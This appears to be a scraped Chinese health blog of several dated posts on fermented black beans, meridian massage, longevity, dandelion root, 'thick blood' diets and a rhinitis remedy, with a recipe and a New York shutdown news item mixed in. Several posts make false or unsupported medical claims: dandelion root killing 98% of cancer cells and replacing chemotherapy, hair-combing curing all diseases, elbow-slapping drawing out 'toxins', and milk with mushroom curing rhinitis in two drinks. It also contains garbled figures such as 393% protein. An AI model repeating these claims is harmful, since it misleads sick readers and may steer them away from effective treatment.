试验证明,豆豉的营养几乎与牛肉相当,豆豉含蛋白质为393%而牛肉为22.7%,脂肪含量豆豉为8.2%,牛肉为4.9%,最重要的是它对血栓的作用。

豆豉最早记录在我们中国,后来海外。我国台湾人称豆豉为“荫豉”,日本人称豆豉为“纳豉”,东南亚各国也普遍食用豆豉。

豆豉是用黑豆或黄豆作原料,经过一番洗净、蒸煮、冷却后放入缸中发酵、盐渍,最后晒干而成的,按加盐与否分成咸淡两种。

血栓患者多进食“溶栓第一豆”

老年人因脑血栓会造成老年痴呆症,现代医学尚束手无策。最近,日本医学家发现,中国人用黑豆制成的豆鼓,含有大量能溶解血栓的尿激酶。更使人惊奇的是,豆豉所含的细菌能产生大量维生素 B 和抗生素。因此他们认为老年人多吃豆豉能有效地预防脑血栓形成。

还有一种说法是说豆豉中含有大量能溶解血栓的尿激素,能有效地预防脑血栓的形成。总之,吃豆豉对改善大脑的血流量和防治老年性痴呆症很有效果。

豆豉

豆豉: 40倍防冠心病的力量

豆豉中钴的含量是小麦的40倍,有良好的预防冠心病的作用;钼的含量是小麦的50倍,硒的含量比高硒食物大蒜、元葱还高,而钼和硒两种元素虽然不能治疗癌症,但是都具有极强的抗癌作用。

但是要提醒老年人注意的是,豆豉随好,也不能多吃,每日最多以50克内为宜。

可加入豆豉的菜色:豆豉蒸排骨、豆豉回锅肉、豆豉蒸鱼、豆豉鸡丁,鸡、鸭、猪肉、牛肉都可以加入豆豉。

而且豆豉加工中会加入很多盐分,所以如菜肴中已加入豆豉,则应减少烹调用盐量,以免摄入盐分过多,从而降低患高血压、心脏病和中风的风险。

豆类家族七大保健功效 红遍美国~

美国《赫芬顿邮报》载文,总结出经科学证实的“豆类的七大保健功效”。

1、延缓衰老。

研究发现,红葡萄酒中关键成分白藜芦醇可阻止DNA损伤,抗击衰老。美国《食品科学与营养评论》杂志刊登一项新研究发现,一些豆类中白藜芦醇含量可与红酒媲美,其中黑豆和扁豆中含量最多。

2、降血压。

《美国高血压杂志》最新载文称,科学家对8项相关研究结果梳理分析发现,所有研究都表明常吃豆类食物(如豌豆、黑豆)可显着降低收缩压和舒张压水平。


豆豉

3、预防癌症。

美国《体外细胞与发育生物学》杂志刊登一项新研究发现,常吃豆类可以使乳腺癌、肝癌、直肠癌、前列腺癌和胃癌等癌症发病率显着降低。

4、降低胆固醇。

《加拿大医学会杂志》刊登一项新研究发现,每天饮食中增加一份豆类食物就可以使“坏”胆固醇(LDL)水平降低25%,进而降低心脏病风险。

美国《医药食品杂志》刊登一项涉及35名肥胖男性的最新研究发现,为期8周的研究结束后,吃豆最多的参试者体内脂肪、胆固醇水平、血压及能量代谢都得到大幅改善。

5、降低食欲,预防过量饮食。

美国《食欲》杂志刊登一项新研究发现,豆类有助于减少对甜食和快餐等不健康食物的渴望,进而防止过量饮食。参试者每天吃4盎司(约合113克)鹰嘴豆,12周之后,其排便更规律,消化系统也更健康。

6、改善肠道菌群。

有益菌对免疫功能、肌肤修复、正常消化和降低肠癌风险等都起到重要作用。美国《农业食品化学杂志》刊登一项新研究发现,常吃豆类,摄入更多豆类纤维有助于肠道细菌产生更多有益健康的物质。

7、杀灭真菌。

美国《当代医学化学进展杂志》刊登一项新研究发现,在豆类中发现的化合物有助于杀灭真菌和预防真菌感染。

2020-12-22 / by / in
吃不够的经典家常菜 猪肉白菜炖粉条(视频)

猪肉白菜炖粉条/白菜炖粉条/猪肉炖粉条

在中国的东北,猪肉白菜炖粉条是人们非常喜欢的一道家常菜,它的食材选料非常普通,做法也比较简单,尤其在大冷的冬天来上这么一碗热乎乎的猪肉白菜炖粉条,真是别提有多带劲了

食材:

五花肉180克,白菜450克,粉条(干)100克,瓣蒜头3个,干辣椒3个, 花椒1/2小匙,辣椒圈适量,酱油1大匙,老抽1/2 小匙,料酒1小匙,盐salt

做法:

1. 准备工作:五花肉切片,白菜切大块,红薯粉丝用水浸泡,

2. 成菜:锅中放油,油热后放入蒜片爆香,然后放干辣椒和少许花椒煸炒,在放入肉片翻炒。炒至肉片变白时,放入白菜梆子翻炒,加入酱油,老抽调味。然后放入粉丝和菜叶焖煮。转到砂锅里面,加适量的辣椒圈调味即可。

2020-12-21 / by / in ,
经络不通只用一招:经络通,百病消!

梳头/通则不痛 /痛则不通/经络不通

是什么原因使经络不通,而补什么都没有用呢?

《灵枢·脉度》说:「经脉为里,支而横者为络,络之别者为孙。经络,主要包括十二经脉、十二经别、奇经八脉、十五络脉、十二经筋、十二皮部等。其中属于经脉方面的,以十二经脉为主,属于络脉方面的,以十五络脉为主。它们纵横交贯,遍布全身,将人体内外、脏腑、肢节联成为一个有机的整体。中医讲「通则不痛,痛则不通」,如果我们的经络不通,就会出现一系列的病痛表现,并且即使你再补也没有大作用!

经络不通的6大症状

1、疼痛

正如上面所说的,痛则不通。经络不通的第一个感觉就是疼痛,比如有时候我们会有莫名的疼痛,那说明的是此处经络不通。疼是经络不通的初发,而痛则是经络不通的进一步加重,「初病在经」「久病久痛在络」,就是这个道理。

2、麻木

经络不通的另一个症状就是麻木,比如我们坐得太久,下肢气血不通,双腿就会麻木,只有改变坐姿,气血通畅才能恢复知觉。中医讲「麻为气虚,木为血虚」,如果麻得重,说明气不足,木得重则说明血虚。出现肢体麻木的时候,我们最好多加注意,特别是高血压患者,一定要注意及时疏通经络,以免导致出现中风疾病。

3、肿胀

经络不通可以是有形的,这就是肿,常由血瘀引起;经络不通也可以是无形的,这就是胀,由气滞引起,胀通常是气在经络运行不畅时形成的「涡气」 。

4、冷

人的体温是由气血输送来决定的,气血旺盛,体温才会正常。哪个地方发冷,哪个地方可能经络不通,气血难以到达。

5、酸

如果我们身体某个部位出现发酸的情况,很有可能是这个部位经络不畅通,气血供应减慢所导致。

6、热

经络不通引起的热主要表现为身体某些地方低热、干燥,或者局部异常出汗。这是因为体内经络不通,热气不能通过正常渠道散发出去引起的。


梳子

只用一招:经络通,百病消!

梳头

经络是连着的,下面有堵的地方,它上面也堵。人体各条经络都汇聚于头部,梳头时要经过眉冲、通天、百会、印堂、玉枕、风池等近50个穴位,对这些穴位进行如同针灸的刺激,可以促进头部血流,疏通经络;头的侧面全是胆经,有20多个穴位,只要梳一梳头,都可以刺激胆经,哪块有点疼,证明哪块有阻塞,您就需要反复地揉它。

ps:开始梳头的时候,您会发现,长期头痛或者胆囊不好、有乳腺增生这些胆经阻塞方面问题的人,头上一定有相应的阻滞点。

那肯定有朋友问了,那我得梳多少下才能达到疏通经络的效果呢?其实坚持每天300次把头部全梳一遍就非常好了。当然,头不怕多梳哦,每天梳得越多越好。

最后再说个关于头皮屑的问题,其实,如果能坚持每天梳头至少300次,连着梳1周,您再梳的时候就会发现头皮屑没那么多了,而且梳完以后会看到满手都是油污污的。这说明您已经把堵塞在毛孔上的这些黑油(中医讲的湿气、痰浊)给梳出来了,这样当然就不长头皮屑了。

梳头不但可以治疗脱发,还能治疗白发和头发无光泽。当头发浓密起来后,就证明您的气血越来越足,肝肾的功能提高了。

别小看梳头这个动作,靠它就能打通人体的很多经络,是属于给身体打地基的。当打通经络后,再集中看看哪个穴位有问题,特意去揉一揉,这就是为身体添砖加瓦了。所以梳头是能消百病的妙法。

是不是超简单?法子再好,朋友们要坚持做哦~坚持下去才能看到效果。

疏通经络的10个妙招每天做一遍,经络通畅百病消!

1、滚揉后溪穴:保护颈椎、腰椎


后溪穴

如果你坐在电脑面前,可以把双手后溪穴的这个部位放在桌子沿上,用腕关节带动双手,轻松地来回滚动,即可达到刺激效果。

在滚动当中,它会有一种轻微的酸痛。每天只用抽出三分钟的时间来,随手动一下。坚持下来则对颈椎、腰椎确实有着非常非常好的疗效,对保护视力也很好。

2、拍肘窝:排出心肺火气和毒素

肘窝是一个经络密集的部分,分别有肺经、心包经和心经这三条经络通过,拍打肘窝可以排出心肺的火气和毒素。

拍的时候手掌放松,有力且有节奏的一下一下拍下去,每条胳膊连续拍打5~10分钟,先拍左肘窝,再拍右肘窝,便会出现青、红、紫、黑等不同颜色的毒素反应物,颜色越深问题越严重。

最好是每周拍打一次,一般3~5次反应物就会明显减少,毒素也就清理的差不多了。怕疼的话,轻轻拍打到发红也可以通经络,促进气血的运行。

建议:拍打结束后,马上喝一杯温水以加速排毒,当天不要洗澡。

3、瑜伽蝴蝶式:促进血液循环

晚上回家做一下这个动作,双手抓住脚尖,膝盖向两侧打开,尽量往地上贴,腰要挺直,双膝有节奏向地板振动。每天10分钟。

瑜伽蝴蝶式通过下压双腿,可锻炼骨盆,促进骨盆的血液循环,滋养膀胱、肾脏等器官,从而改善肤色,令肌肤白里透红,同时有效地伸展背部及胯部强化身体的柔韧度。

4、搓摩脸部焕醒肌肤

双手搓至发热,干洗脸,搓揉面部60次,手掌搓热轻柔的拂过即可。

建议:起床后,睡觉前,觉得眼睛疲劳时都可以做做。

5、双臂上拉护肩颈

保持这个伸展的动作10秒钟,放松,再做一次。在伸展的过程中会感觉到肩颈背部的痛点。做完以后很舒服。

6、拉伸脊椎缓解背部疲劳

保持这个姿势10秒,放松,再做一次。

7、提肩松膀护肩颈

站直,提起双肩,感觉到肩部有酸胀的拉伸,保持这个感觉15秒钟,放松肩膀。再做一次。

8、缓解肩膀酸痛+减肥

买一只擀面杖,时常放在脚下来回的擀,每天10~15分钟。如果你的肩颈部对应的位置会觉得疼,有颗粒,擀到颗粒散开,肩颈部的疼痛也会相应的散开,坚持做还可以减肥。

9、膀胱经排毒

双腿伸直并在一起,脚尖回勾,双手抓着脚趾,身体慢慢向下压。这是一个帮助膀胱经排毒的办法,一次至少要做15~30分钟。

越是够不到,越说明你的毒素堆积的多,但是不要着急,也不要用蛮力,只要大腿后侧的大筋有拉伸的感觉就可以了,否则容易拉伤韧带。

10、按揉印堂改善心脑血管功能


印堂

一次40下为宜。这样做可以调整内分泌、改善心脑血管功能、安神定志。

这套疏通经络的操,让您从头到脚经络通、气血足,百病不生,进补更有效!既简单又实用,朋友们记得收藏哦~

同时,这么好的经络操不推荐给朋友们实在可惜,让大家都来跟您一起学习吧!

2020-12-21 / by / in
纽约市长:圣诞节后或全面关闭非必要行业

纽约市餐馆在本周一起关闭餐馆堂吃,周二(12月15日)的市府记者会上,纽约市长白思豪更表示或在圣诞节后再度“全面关闭”非必要行业。他说,为了减轻第二波疫情的影响,纽约市有必要全面关闭非必要的企业,他比较希望在圣诞节后开始,但最终要州长拍板。

市长白思豪在15日的记者会上说:“我们才刚拿到疫苗,同时面临第二波疫情到来,要挽回劣势,需要保护生命和医院;所以不幸的是,我只能表示遗憾,但我想在未来几周执行‘关闭’(shutdown)是必要的。这跟春天的疫情攀升相似,看到这会让人崩溃,所以会有些调整,就像今年春天那样,只放行基本工作(essential work)。 ”

白斯豪表示,如果决定这么做,会在圣诞节后提议,“如果我们这么执行,幸运的话加上努力,还有疫苗开始在帮我们,几周后就能摆脱(全面关闭),但能阻止疫情反弹出现最糟糕的情况”。

是否全面关闭最终由州长决定,白思豪说:“我和团队也一直和州长讨论这问题,最终的指导方针会清楚地写下来。”

周二当天,据白思豪公布的疫情数据,纽约市疑似感染者的住院人数下降为160人,平均7天新增确诊者与疑似感染者为2813人,是纽约市警戒线(550例)的5倍;7天平均阳性率为5.51%,高于警戒线的5%。

2020-12-20 / by / in ,
长寿秘诀已破解,无关饮食烟酒和运动…..(.组图)

健康/长寿/心态

长寿经常是人们探讨的话题,什么秘诀能使人长寿,那些长寿老人究竟吃了什么“不老药”使他们年过耄耋仍耳目清晰,手脚麻利?开这个秘密的。

各国长寿地区的人种,气候,食物,习俗各不相同,有的甚至与健康之道相反,如有的老人嗜烟酒,喜肥肉,但有一点却是相同的,即长寿者都乐观开朗,心地善良,为人随和。

诺贝尔生理学奖得主伊丽莎白等总结出的长寿之道是:人要活百岁,合理分配占25%,其他占25%,而心理平衡的作用占到了50%!

心理平衡

《黄帝内经》:“百病生于气也。怒则气上,喜则气缓,悲则气结,惊则气乱,劳则气耗……”所以医病先医“心”。

现代医学发现:癌症,动脉硬化,高血压,消化性溃疡,月经不调等,人类65%-90%的疾病与心理的压抑感相关,因此,某种病,被称为心身性疾病。


平衡

目标

“目标”能激发生命活力

个案:今年1月6日,上海交大原校长范绪箕教授度过了他的百岁生日,他至今仍每天做实验,写论文,指导博士研究生。

新的研究表明,“目标感很强”,对健康有益,因为生活中是否有追求,这决定了一个人的心态,长靴决定了其生理状况。

英国科学家在40〜90岁的人群里做了一个7年的追踪调查:结果发现,没有明确生活目标的,比有明确的生活目标的,病死或自杀的人数,足足高了1倍,患心脑血管疾病的人数,也多一倍。

再则,医学早就发现,人退休后,因人生目标突然消失,身体健康和精神健康状况均会急剧下降。

为何会如此?原因是,如果你没有目标,死亡便只有唯一的“目标”,那么隐藏在你潜意识里的自毁机制就会悄然启动,让你的身体每况愈下。

“唱歌”,“学跳舞”,“下棋等等都可以当做树立的目标,而且都很可行。”的目标一定要切实可行。

助人为乐

“助人为乐”有治疗作用

个案:石油大王洛克菲在短暂的享受财富积累带来的快乐后,身体每况愈下,深刻反省后,他决定把财富和利益投入到慈善事业中,并想方设法救助生活生活遭遇困难的人,这让他心情格外轻松,同时,他不佳的健康状况也日渐好转了。

个案:107岁离世的邵逸夫,乐于助人是他高寿的一个原因。以往,他一共向内地倾斜了34亿替换,他创立的“邵逸夫奖”,基金高达500亿替换。

研究人员发现,给予别人“物质上”的帮助,能使致死率降低42%;给予他人精神上的支持,能使致死率降低30%。

为何会如此?美国有位医学专家想了解此问题,他精心个研究:将106名未满20岁的学生分为:分为为义工组;另一组为义工后备组。

10个星期后,义工组的学生比例后备组,他们的炎症症状,高血压水平和体重指数都显着地降低了。

助人为何会产生医疗作用?因为,与人为善,常做好事,心中常产生一种难以言喻的愉快感和自豪感,而且降低了压力激素水平,促进了“有益激素”的分泌。

精神病流行病学专家甚至说:养成助人为乐的习惯,是预防和治疗忧郁症的良方。


家庭

家庭和睦

长寿的首要秘诀是家庭和睦

个案:格鲁吉亚有位农妇活了132岁零91天。在她130岁时,有记者问她长寿的秘诀,她回答:首先是家庭和睦……

美国有两位心理学教授积蓄20年的研究发现:影响寿命的决定性因素中,排第一名的是“人际关系”。他们说-人际关系可能比水果蔬菜,经常锻炼和定期体检更加重要。

哈佛大学医学院一项对268名男性的跟踪调查也发现:一个人生活中真正重要的就是和别人的关系,缺乏社会支持,对健康的危害与吸烟和不运动不相上下。

美国一位精神病学家长达25年的“人格与心脏关系”的跟踪调查发现:心胸狭缝,名利心重,敌视情绪强的人,死亡率高达14%;而心胸开阔,助人为乐,性格随和的人,其死亡率仅为2.5%。高血压的发病率,前者也是附属的5倍。

分析其原因,他说:人际关系不好,令其心里充满着愤怒,怨恨,敌对和不满情绪,会致使交感神经时常处于亢奋状态,肾上腺素等压力激素分泌得过多。

心理学家马斯洛总结的人生需求,从低级到高级,依次为“生理需求,安全需求,社交需求,重视需求和自我实现”。需求”五类。

除生理需求外,均和人际关系有关,“需求”获得满足,即会收获快乐!

友善

“付出友善”会“收获友善”

个案:美国一位心理学家介绍了一个女病人的故事:艾丽斯几年前因失恋得了抑郁症,离开东部老家,移居到中西部去生活。中西部生活节奏慢,人与人之间的关系很温情。好几次,艾丽斯从停车场出来上车道,甚至车道上排着长长的车队,但总是有人给她让道。这种彬彬有礼,先人后己的行为,时间一久,艾丽斯也养成给停车场出来的车让道的习惯,她喜欢这种友善的行为,每一次小小的“付出”,都会给她带一年以后,艾丽斯的抑郁症不治而愈了。来一种无可名状的快乐。


家庭

和谐关系

如何建立和谐的人际关系?

春秋战国时期的政治家管仲说:“善气迎人,亲如兄弟;恶气迎人,害于戈兵。”

“你善”,回声则“善”,如个案;“你恶”,回声则“恶”。有人与人之间的关系和反应,实质上人在山间呼喊发出的回声。 ,完全是因为他们处处与人争斗的结果。

“付出友善”,哪怕是对别人付出一个微笑,传递一个幽默的表情,唾液中的免疫球蛋白浓度就会增加,这种抗体能增强人的免疫系统。

美国有位生命科学研究所教授通过研究,发现了“回声”的本质:“付出与回报之间存在着神奇的能量转换的秘密,即一个人在付出的同时,回报的能量正通过各种形式向此人返还,只不过在大多数情况下,自己浑然不知……”

有利人际关系和谐的“付出”包括:

赞美,幽默,微笑,尊重,礼让,随和,包容,宽恕,体谅,同情,忠诚,倾听等。

2020-12-20 / by / in
科学家研究:一味中药48小时可杀死98%癌细胞

蒲公英/白血病/癌细胞

蒲公英别名婆婆丁、黄花地丁、谷谷丁、奶汁草等,蒲公英性平、味甘、微苦,有“天然抗生素”之美称。

研究证明,蒲公英根提取物在48小时内就会对癌细胞起到抑制作用。癌细胞被杀死后,健康的细胞出现,癌症也就开始好转。这种物质不仅对白血病有效,就连乳腺癌、结肠癌、前列腺癌、肝癌、肺癌等等也有很好的治疗效果。虽然它的味道很古怪,却可以让病人免除化疗的痛苦。

罹患癌症的人,常常在手术之后需要忍受化疗的折磨,几个月下来不仅身体变得很虚弱,头发都会掉光光。现在有媒体报导,科学家发现,蒲公英的根可以杀死癌细胞。

《本草纲目》介绍,蒲公英主治妇人乳痈肿,水煮汁饮及封之立消。解食毒,散滞气,清热毒,化食毒,消恶肿、结核、疔肿瘤。

从很早以前开始,蒲公英就被当作一种药材,在医学中广泛应用。最近科学家们研究发现,这种看似普通的植物居然对癌症有很好的治疗效果。它的根可以提高免疫力,对前列腺癌、肺癌等等有奇效。

加拿大癌症治疗中心的Carolyn Hamm博士表示,蒲公英根提取物还能治疗慢性粒细胞白血病,这是医学史上的奇迹。

72岁老人John Di Carlo患上了白血病,治疗无效后他回到家度过最后的时光。期间他每天都用蒲公英泡茶喝,仅仅4个月后,他的病情竟然开始好转。医生认为这都是蒲公英根茶的功劳。

传统的癌症治疗过程中,不管是健康细胞还是癌细胞都会被杀死。蒲公英根却不一样,它只对癌细胞起作用。不过想要用它治病的话最好还是咨询医生,让他们时刻掌握病情。就算你身体健康,也可以适当吃蒲公英或者用它泡茶,它能够预防糖尿病,稳定血糖,刺激胰腺,产生胰岛素。

如果你患有消化问题,身体内有大量毒素,蒲公英绝对能够帮上忙。不仅如此,它里面含有的维生素和矿物质还能让肝脏保持在最佳状态。蒲公英还含有丰富的抗氧化剂和维生素C,能够有效杀死引发尿路感染的细菌。患有泌尿系统疾病的人每天用蒲公英根泡茶,可以缓解病情。

蒲公英尝起来很苦,但完全可以食用。采摘蒲公英时一定要在安全区域,选择那些没有被农药等化学物质污染的地方。它可以促进消化,防止皮肤过早老化。如果你不习惯它的味道,还可以与水果搭配,制作成饮料,这样尝起来就没有苦味了。

2020-12-20 / by / in ,
注意!人生两大凶德,千万要戒掉!

健康/心性/j凶德

曾国藩向大家反思自己有三大错,一是自以为是、二是嘴上说话没把门的、三是说话得罪了人,曾国藩常说一个普通人的两大凶德和弱点:傲慢和话多。

某种程度上说,年轻的曾国藩犯过傲慢和多言的错误,但他都能在事后认真反省、改正,最终成就了自己的人格,所以曾国藩说的“凶德致败者”是他从人生经验中总结出来的宝贵训诫。

01. 傲,败亡之道。

人一旦有了傲的心,必然会在各个方面放松警惕,祸乱、失败也必然接踵而至。傲是自取灭亡之道,所以古人说骄公必败。在西方,莎士比亚也曾经说过:“一个骄傲的人,结果总是在骄傲里毁灭了自己”。

一个高傲的人,必然不能容忍别人,无法处理好人际关系。王阳明说,“故为子而傲,必不能孝;为弟而傲,必不能弟。”一个自傲,傲慢的人是不会有什么人际关系、人脉的,不仅如此,他们可能连最起码的父母、夫妻、兄弟之间的关系都处理不好。

《三国演义》中关羽的失败,全在于他过于骄傲。关羽是猛将,有勇有谋,斩颜良诛文丑,温酒斩华雄,千里走单骑,单刀赴会等等,都足以证明他的能力非凡。

但过于高傲自恋却让关羽败亡。关羽在樊城水淹七军,就有些得意了,东吴方面当关羽听说孙权拜陆逊为将代替吕蒙时,他说:“孺子陆逊代之,不足为震!”

而富于谋略的陆逊代替吕蒙后,又是写信又是送礼,极尽阿谀奉承之能事,关羽更是麻痹大意。对于别人的话,关云长根本听不进去,每每都感觉自己下的结论是完全正确的,而别人说的都是没用的。最终被杀害。

02. 多言,贻害无穷。

曾国藩的“戒多言”源于一件小事,当时他刚进入翰林院不久,正春风得意,一次在给父亲过生日时,对前来祝寿的好友郑小珊夸夸其谈,有些得意忘形,结果引起郑小珊反感,拂袖而去。

事后曾国藩后悔万分,他在日记里反思自己有三大错。一是平常就自以为是;二是嘴上说话没把门的,想到哪儿说到哪儿;三是明明说话得罪了人,还跟人强辩,甚至到了不近人情的地步。总结这三点,曾国藩说自己作为一个标准的儒家知识分子,连《礼记》里说的“恶言不出于口,忿言不反于身”的道理都参不透,连语言这一关都过不了,还能成什么大事呢?

曾国藩一生在“戒多言”上下足了功夫,他不仅经常批评自己“每日言语之失,真是鬼蜮情状!”也经常反问自己“言多谐谑,又不出自心中之诚”,这种言语习惯、个性缺点,“何时能拔此根株?”他不仅对自己有这个“戒多言”的要求,还把它当成家训智慧中非常重要的一条内容,尤其是对他的两个儿子和几个弟弟反复灌输、强调这一点。

曾国藩认为,如果想用言语超过压制别人,即使胜了,别人也不会服气,为人处世上,还是应当谦逊一些为好。争吵往往没有是非可言,结果常常会意气用事。一个人牢骚太多,结局必然抑塞,无故而怨天,天必不许,无故而尤人,人必不服。抑郁不平之气,往往伤人害己。

“戒多言”的本质是在面临人和事的时候,要做到自我控制,避免祸从口出、乱从口出,在本质上,这是一种临事不纠缠、少争论的行动智慧。

人有教养的十个特征:

一、守时:

无论是开会、赴约,有教养的人从不迟到。他们懂得,即使是无意迟到,对其他准时到场的人来说,也是不尊重的表现。

二、谈吐:

有节注意从不随便打断别人的谈话,总是先听完对方的发言,然后再去反驳或者补充对方的看法和意见。

三、态度和蔼:

在同别人谈话的时候,总是望着对方的眼睛,保持注意力集中;而不是翻东西,看书报,心不在焉,显出一副无所谓的样子。

四、语气中肯:

避免高声喧哗,在待人接物上,心平气和,以理服人,往往能取得满意的效果。扯开嗓子说话,既不能达到预期目的,反而会影响周围的人,甚至使人讨厌。

五、注意交谈技巧:

尊重他人的观点和看法,即使自己不能接受或明确同意,也不当着他人的面指责对方是“瞎说”、“废话”、“胡说八道”等,而是陈述己见,分析事物,讲清道理。

六、不自傲:

在与人交往相处时,从不强调个人特殊的一面,也不有意表现自己的优越感。

七、信守诺言:

即使遇到某种困难也不食言。自己谈出来的话,要竭尽全力去完成,身体力行是最好的诺言。

八、关怀他人:

不论何时何地,对妇女、儿童及上了年纪的老人,总是表示出关心并给予最大的照顾和方便。

九、大度:

与人相处胸襟开阔,不会为一点小事情而和朋友、同事闹意见,甚至断绝来往。

十、富有同情心:

在他人遇到某种不幸时,尽量给予同情和支持。

2020-12-19 / by / in
4个信号告诉你血液太黏稠了!化血栓、防心梗吃它最管用

健康/食疗/保健/血液/高粘度

血液黏稠如果出现这个信号,就要及早改善身体状况,以免造成其它病症出现。

临床上将血液黏度超过正常标准称为“高黏滞血症”。血液中的红细胞的形状、大小、压积都会影响血液黏度;白细胞和血小板在病理情况下对血液黏度也有一定影响。高黏滞血症的危害是由此引起的心、脑、肺、肾等重要脏器的血液供应不足,造成缺血缺氧,从而导致冠心病、脑梗死、肾衰、阻塞性肺疾患病情加重。

如何判断血液粘度

1.晨起头晕,晚上清醒

休息了一整夜,应该是精力充沛,神清气爽的。但你早上醒来,还是浑浑噩噩,头脑晕乎乎的,没有睡醒后大脑清醒、思维流畅的感觉;而吃过早饭后,大脑逐渐变得清醒;晚餐过后,反而精神状态最好,浑身是劲没处使,像《奔跑吧兄弟》里李晨的那句“快点来打一架吧!”。那么,要小心了,这可能是血液粘稠的信息,血液粘稠高的人,基本上都是早上无精打采,晚上斗志昂扬。

2.午饭后犯困

吃过午饭,想休息半小时,这是正常情况。据研究表明,每天午睡半小时可以增寿。如果有特殊情况,中午无法午睡,血液粘稠的人是忍不了的,午饭后一定要马上睡觉,休息一会,精神状态会明显转好。否则,一个下午都会觉得又累又困,眼睛睁不开,身体也会不舒服。这是因为午饭后血液循环加速,血粘度高的人,大脑供血不足导致。

3.蹲下呼吸困难气短

血黏度高的人肥胖者居多,这些人下蹲困难,有些人根本不能蹲着干活,或者蹲着干活时胸闷气短。血液从左心室出发,带着氧气和营养物质与组织液的二氧化碳和代谢废物交换,最后回到右心房。或者血液从右心室出发,在肺部完成交易,把二氧化碳排出,最后回到左心房。血液粘度高的人,蹲下干活,回到心脏的血液减少,加之血液过于黏稠,血液循环供血不足,氧气与与二氧化碳不能完成交换,使肺脑等重要脏器缺血,导致呼吸困难、憋气等机体缺氧呼吸困难的现象。

4.阵发性视力模糊

很多人平时视力还可以,偶尔视力会模糊。这个情况在老年人身上比较普遍。老年人大多血液粘稠度高,血液流通不顺畅,一些营养物质和氧气不能供给视神经,视神经和视网膜会暂时性缺血缺氧,医学上称阵发性视力模糊。

血液粘稠怎么办?

1.适量运动

血液之所以粘稠,是因为体内太多代谢废物排不出去。运动可以提高代谢水平,加速血液循环。长期坚持运动,不仅可以强身健体,减肥瘦身,还可以预防多种慢性疾病。


适量运动和走动

2.多喝水

多喝水可以稀释血液的粘稠度,最好选择二十度左右的白开水或者淡茶水,效果更佳。

3.多吃豆类

豆类中含有一种软化剂,它可以软化血液中的胆固醇颗粒,改善血液粘稠度,这种物质叫卵磷脂。很多保健品宣传可以控制胆固醇,稀释血液,它们添加的物质就是这种卵磷脂。


扁豆

4.少吃动物肝脏及甜食

动物肝脏虽然营养丰富,但是血粘度高的人最好少吃。动物肝脏里含有胆固醇,这会加大血液粘稠度。此外,一些甜食,特别是人造糖类,含有大量的甘油三脂、反式脂肪酸,都会使血粘度增高。
5控制饮食
营养过多,摄入能量过多,血液中的脂肪和糖类会变多。控制饮食,吃饭吃到七八分饱刚刚好,俗话说的好“饭后走一走,活到99”。
6释放压力
现代生活节奏快,压力大,要学会给自己减压。听音乐,打球,朋友聚餐,看喜剧电影,这些都是释放压力的好方式。心情美丽了,血液自然会健康。

血液净化神器为身体做个大扫除

血液黏稠,流通不顺畅影响身体健康。这些餐桌上的血管“清道夫”来辅助身体清理血液垃圾,为身体做个大扫除。

血糖稳定剂

普洱茶品性温和,对脾胃刺激相对较小,含有茶多酚等多种有益健康的成分。研究发现,普洱茶具有显着抑制糖尿病相关生物酶的作用,有助于稳定血糖

推荐吃法:普洱茶建议在两餐之间饮用。冲泡时要用100℃的沸水。喝普洱茶最好先洗一遍,因为大多数普洱茶都是隔年甚至数年后饮用,容易沉积尘埃,“洗茶”可达到“涤尘润茶”的目的。

燕麦

血脂调节剂

燕麦中含有丰富的β葡聚糖和膳食纤维,可抑制人体对胆固醇的吸收,对调节血脂有很好的作用。而且,燕麦能带来较强的饱腹感,使人长时间不饿。

推荐吃法:建议选择最“单纯”的燕麦,即大片、整粒、不细碎,且不添加任何糖、奶精等成分的燕麦。可用其熬粥,再加些果仁,营养又美味。

芹菜

血压控制剂

芹菜中含有丰富的钾和芹菜素,它们都有利于控制血压。美国心脏协会杂志《高血压》刊登的一项研究指出,适当饮用芹菜汁确实有助于降血压。

黑豆

血循环催化剂

黑豆含有丰富的花青素,能清除体内自由基,降低胆固醇,促进血液循环。此外,花青素还有护眼的功效。
推荐吃法:花青素在酸性条件下更稳定,用醋泡有利于黑豆中营养物质的吸收。泡制前需要先将黑豆炒熟,放凉后倒入陈醋使其没过黑豆,但需要留出大约1/3的空间,以免黑豆膨胀溢出。盖好盖后浸泡,等黑豆完全膨胀后就可以吃了。黑豆还可以用来打豆浆或熬汤。

海带

血液净化剂

海带不但是含碘较高的食物,还含有丰富的膳食纤维和胶质,其中的胶质成分能结合血液中的有害物质,如重金属,具有排毒、净化血液的作用。
推荐吃法:可以直接将海带泡发后,制成凉拌海带丝。不过,由于海带属于凉性,建议身体较寒、体质虚弱的人可以吃些海带炖豆腐,经高温加热后,能中和海带的凉性。

血液粘稠这样吃也好

凉拌黑木耳

材料:

红椒、柿子椒、食用油、盐、鸡精、醋、花椒、小葱、芝麻、香油

做法:

1、 干的黑木耳提前用冷水浸泡好,泡好的黑木耳洗净后撕成小片。

2、 泡好的黑木耳洗净后撕成小朵。

3、 锅中加入适量清水,烧开后将黑木耳放入绰一下,捞出控干水份。

4、 木耳及青红椒丁放在一个稍大的碗中,加入适量的盐及鸡精。

5、 调入海鲜酱油,倒入适量的香醋,加入少许的芝麻油。

6、 锅中倒入少许色拉油,油热后将花椒炸出香味后捞出不要,关火后将香葱及白芝麻倒入爆香。

7、 姜丝放在黑木耳的上部,用热油浇在姜丝上,拌匀即可。

山楂茶

材料:

山楂10克、菊花2.5克、清水1000毫升

做法:

1、 菊花和山楂以清水快速冲洗干净,如果菊花是免洗型可不用清水冲洗。

2、 锅上火加入清水800ml,加入山楂。

3、 大火煮滚后转小火约10分钟。

4、 最后加入菊花煮沸,即可关火。

2020-12-19 / by / in ,
老中医秘方: 喝两次鼻炎消失 千金不卖的治鼻炎良方(视频)

鼻炎/治鼻炎良方/中医秘方/健康

鼻炎是比较常见的一种疾病,鼻炎它分急性或慢性,今天给鼻炎患者带来福音,简单的方法解决你的痛苦。

鼻炎指的是鼻腔粘膜和粘膜下组织的炎症。表现为充血或者水肿,患者经常会出现鼻塞,流清水涕,鼻痒,喉部不适,咳嗽等症状。 鼻腔分泌的稀薄液体样物质称为鼻涕或者鼻腔分泌物,其作用是帮助清除灰尘,细菌以保持肺部的健康。通常情况下,混合细菌和灰尘的鼻涕后吸至咽喉并最终进入胃内,因其分泌量很少,一般不会引起人们的注意。 当鼻内出现炎症时,鼻腔内可以分泌大量的鼻涕,并可以因感染而变成黄色,流经咽喉时可以引起咳嗽,鼻涕量十分多时还可以经前鼻孔流出。

牛奶炖香菇

只喝了2次,鼻炎就好了,好神奇 。

做法:干香菇一个,发开,切片,放入牛奶中,隔水煮沸,即可食用。

2020-12-18 / by / in
